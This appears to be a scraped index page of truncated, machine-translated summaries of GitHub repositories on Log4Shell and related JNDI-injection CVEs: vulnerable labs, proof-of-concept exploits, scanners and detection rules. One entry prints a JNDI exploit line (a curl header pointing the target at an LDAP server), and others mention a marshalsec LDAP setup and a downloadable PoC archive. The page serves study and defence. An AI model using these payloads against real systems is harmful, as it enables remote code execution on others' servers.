log4shell_lab

Laboratoire d'exploitation log4shell Ce dépôt est une configuration en une ligne pour le laboratoire d'exploitation log4shell. Configurer le lab : docker-compose up -d Exécuter l'exploit : curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Ensuite, allez dans ...

Exploit for Uncontrolled Resource Consumption in Siemens 6Bk1602-0Aa12-0Tp0_Firmware

Log4Shell Exploitation Lab CVE-2021-44228 Reproduced the Lo...

log4shell

log4shell Python-скрипт для сканирования файловой системы сервера на наличие jar-файлов log4j, уязвимых для CVE-2021-44228 и CVE-2021-45046. Скрипт рекурсивно обходит файловую систему включая zip, ear, war для поиска версий log4j 2. до 2.15 с классом...

CVE-2021-44228_Example

CVE-2021-44228Example Exécutez chacune des 3 sections dans un onglet/console séparé Serveur LDAP marshalsec https://github.com/chilliwebs/marshalsec Forké depuis https://github.com/mbechler/marshalsec root@kitploit: docker build -t marshalsec marshalsec/. docker run -it --rm -p 1389:1389...

MyLog4Shell

MyLog4Shell Détection d'exploitation RCE log4j Vous pouvez utiliser ces commandes et règles pour rechercher des tentatives d'exploitation de la vulnérabilité RCE log4j CVE-2021-44228 Grep / Zgrep Cette commande recherche des tentatives d'exploitation dans les fichiers non compressés du dossier...

Log4j-Exploit-CVE-2021-44228

Log4j-Exploit-CVE-2021-44228 Outil de test de vulnérabilité Log4Shell https://log4shell.tools/ Exploit avec Java déjà inclus, pour éviter de créer un compte, etc.. root@kitploit: http://www.mediafire.com/file/bs1spnysc6fbz1a/log4j-shell-poc%25281%2529.zip/file root@kitploit: pip install -r...

CVE-2024-21182

CVE-2024-21182 — Injection JNDI T3/IIOP Oracle WebLogic Server → Exécution de code à distance lab Un lab Docker autonome, en une commande, pour reproduire et valider la famille de vulnérabilités d'injection JNDI OpaqueReference d'Oracle WebLogic Server CVE-2024-21182, un contournement du correcti...

cloudrasp-log4j2

CloudArmor · Модуль самозащиты приложений во время выполнения — версия Log4j2 Китайский упрощённый Этот проект является локальной версией CloudArmor, специально созданной для защиты от Log4j2 CVE-2021-44228. Для работы этого проекта не требуется подключение к сети. Пожалуйста, ПРОВЕДИТЕ...

log4j2-CVE-2021-44228

Пример уязвимого приложения Log4j2 CVE-2021-44228 Затронутые версии: все версии с 2.0-beta9 по 2.14.1 Это приложение основано на веб-приложении Spring Boot, уязвимом к CVE-2021-44228. Оно использует Log4j 2.14.1 через spring-boot-starter-log4j2 2.6.1. Запуск приложения Запустите его: root@kitploi...

log4j-vul

log4j-vul Ce projet vise simplement à montrer la vulnérabilité Apache Log4j2 - aussi connue sous CVE-2021-44228 Java: java version "1.8.0121" Compilation: depuis le dossier src javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Exécution: depuis le...

ModSec-log4j2

Test de la règle ModSec Prérequis Avoir Docker installé Avoir Java installé sur votre machine Exécution du test Faire un git clone du dépôt Exécuter la commande ci-dessous pour lancer le WAF ModSec et l'application vulnérable root@kitploit: docker stack deploy -c docker-compose.yml WAF Extraire l...

cve-2021-44228

CVE-2021-44228 Этот репозиторий представляет собой упрощённую симуляцию известной проблемы CVE-2021-44228. Помимо поиска системных свойств и других структур-словарей, Apache Log4j также реализует функцию JNDI-запроса по различным причинам. JNDI может получать службы от нескольких поставщиков услу...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell Preuve de concept Les fonctionnalités JNDI d'Apache Log4j2 =2.14.1 utilisées dans la configuration, les messages de journalisation et les paramètres ne protègent pas contre les points de terminaison LDAP contrôlés par un attaquant ni contre d'autres points de terminaison...

dubbo-CVE-2023-23638

CVE-2023-23638 Только для изучения и исследований ZooKeeper подготовьте самостоятельно Тестовая среда — Java 8, остальные версии не тестировались, работоспособность не гарантируется. Для воспроизведения необходимо добавить VM-параметр для DemoComsumer: -Ddubbo.hessian.allowNonSerializable=true,...

CVE-2023-25194

이 도구는 보안 테스트 목적으로만 사용됩니다. 불법 활동에 관여하지 마십시오. 오용으로 인한 모든 결과는 전적으로 사용자 본인의 책임입니다. CVE-2023-25194 탐지 도구는 JNDI를 활용하여 DNS 로그 플랫폼이 반환한 응답 콘텐츠를 로드함으로써 취약점 존재 여부를 판단합니다. 응답 콘텐츠 판단 로직은 테스트를 통해 수신된 콘텐츠의 성공적인 활용을 기반으로 합니다. 일부 응답 콘텐츠는 DNS 로그 플랫폼을 통해 대상과 연결을 설정할 수 있지만, 악용이 불가능하여 최종적으로 무시됩니다. root@kitploit:...

CVE-2021-44228

CVE-2021-44228 Apache Log4j 2 Versions vulnérables : Les versions de Log4j antérieures à 2.15.0-rc2 sont sujettes à une vulnérabilité d'exécution de code à distance via l'analyseur ldap JNDI. Accéder à la reproduction du problème 移步漏洞复现...

Log4J-Simulation-Tool

О проекте Это специально созданный автоматизированный сканер уязвимостей, инструмент управления исправлениями и эксплуатации для CVE-2021-44228. Это комбинация программ на Python, Java и Linux shell, которая упрощает работу сетевого администратора, разработчиков средств защиты конечных точек и...

Log4j-JNDIServer

Log4j-JNDIServer Ce projet permet de tester les vulnérabilités Log4j CVE-2021-44228/CVE-2021-45046. Installation et construction Chargez le projet dans Intellij Idea Sélectionnez JDK dans "Project Settings" CTRL + ALT + MAJ + S Dans "Project Settings", créez l'Artifact - "Artifacts" - "Create JAR...

CVE-2020-14645

CVE-2020-14645 Weblogic CVE-2020-14645 UniversalExtractor JNDI injection getDatabaseMetaData 프로젝트는 다음에 의존합니다: https://github.com/5up3rc/weblogiccmd 데모 요구 사항 1. JDK 버전 JDK6u211/7u201/8u191 2. Weblogic 버전 12.2.1.4.0 불법적으로 사용하지 마십시오!!!!!!!! 참고 자료 1. https://www.anquanke.com/post/id/210724 2...

log4shell-cve-lab

Лаборатория Log4Shell CVE-2021-44228 Этот репозиторий содержит небольшой уязвимый HTTP-сервис на Log4j 2.14.1 для CVE-2021-44228. Sentinel воспроизвёл этот сценарий 2026-08-27 как лабораторию в песочнице, созданную с нуля. Важные свойства этого запуска сохранены здесь: контролируемый атакующим...